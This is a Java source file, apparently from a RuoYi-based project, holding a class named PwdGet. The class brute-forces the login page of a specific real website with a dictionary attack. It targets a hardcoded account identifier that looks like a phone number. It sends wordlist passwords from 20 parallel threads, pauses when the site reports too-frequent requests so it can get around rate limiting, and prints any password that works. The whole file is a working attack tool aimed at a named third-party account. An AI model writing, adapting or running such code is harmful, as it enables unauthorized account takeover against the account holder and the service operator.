package com.ruoyi.web.controller.system;

import com.alibaba.fastjson2.JSONObject;

import javax.net.ssl.HttpsURLConnection;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLEncoder;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.List;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.TimeUnit;
import java.util.stream.Collectors;

public class PwdGet {
    private static final String TARGET_URL = "https://cloud.chehaiyang.com/Users/Login"; // 替换为实际的登录URL
    private static final String USERNAME = "15991983262"; // 替换为实际的用户名
    private static final String WORDLIST_PATH = "D:\\passwords\\passwords.txt"; // 替换为包含密码的词典文件路径

    public static void main(String[] args) {
        // 创建一个固定大小的线程池
        ExecutorService executorService = Executors.newFixedThreadPool(20); // 10个线程

        try {
            // 读取密码列表
            String[] passwords = readPasswordsFromFile(WORDLIST_PATH);

            // 提交任务到线程池
            for (String password : passwords) {
                executorService.submit(() -> {
                    try {
                        // 尝试登录
                        boolean success = attemptLogin(TARGET_URL, USERNAME, password);
                        if (success) {
                            System.out.println("Password found: " + password);
                            executorService.shutdownNow(); // 找到密码后，关闭线程池
                        }
                    } catch (Exception e) {
                        e.printStackTrace();
                    }
                });
            }

            // 等待所有任务完成
            executorService.awaitTermination(Long.MAX_VALUE, TimeUnit.NANOSECONDS);
        } catch (InterruptedException e) {
            e.printStackTrace();
        } finally {
            executorService.shutdown(); // 关闭线程池
        }
    }

    private static boolean attemptLogin(String urlstr, String username, String password) throws IOException {
        URL url = new URL(urlstr);
        // 打开连接
        HttpsURLConnection connection = (HttpsURLConnection) url.openConnection();

        // 设置请求方法
        connection.setRequestMethod("POST");

        // 设置允许输入输出
        connection.setDoOutput(true);

        // 创建参数字符串（这里以键值对形式发送数据，使用UTF-8编码）
        String params = "LoginName=" + URLEncoder.encode(username, "UTF-8") +
                "&Password=" + URLEncoder.encode(password+"", "UTF-8");

        // 发送请求参数
        try (OutputStream os = connection.getOutputStream()) {
            os.write(params.getBytes());
            os.flush();
        }

        // 获取响应码
        int responseCode = connection.getResponseCode();
        System.out.println("Response Code: " + responseCode);

        // 处理响应...
        try (BufferedReader in = new BufferedReader(
                new InputStreamReader(connection.getInputStream(), "UTF-8"))) {
            String inputLine;
            StringBuffer response = new StringBuffer();

            while ((inputLine = in.readLine()) != null) {
                response.append(inputLine);
            }

            String zfc = response.toString();

            if(zfc.contains("抱歉，您访问太频繁了！")){
                Thread.sleep(10000);
            }



            JSONObject json = JSONObject.parseObject(zfc);



            Boolean res = json.getBoolean("valid");

            // 打印响应数据
            System.out.println(res);
            if(res){
                System.out.println("密码是："+password);
                return true;
            }
        } catch (Exception e) {
            e.printStackTrace();
            return false;
        }
        // 关闭连接
        connection.disconnect();
        return false;
    }

    private static String[] readPasswordsFromFile(String filePath) {
        try (BufferedReader reader = Files.newBufferedReader(Paths.get(filePath))) {
            List<String> passwords = reader.lines().collect(Collectors.toList());
            return passwords.toArray(new String[0]);
        } catch (IOException e) {
            e.printStackTrace();
            return new String[0]; // 如果发生错误，返回一个空数组
        }
    }
}
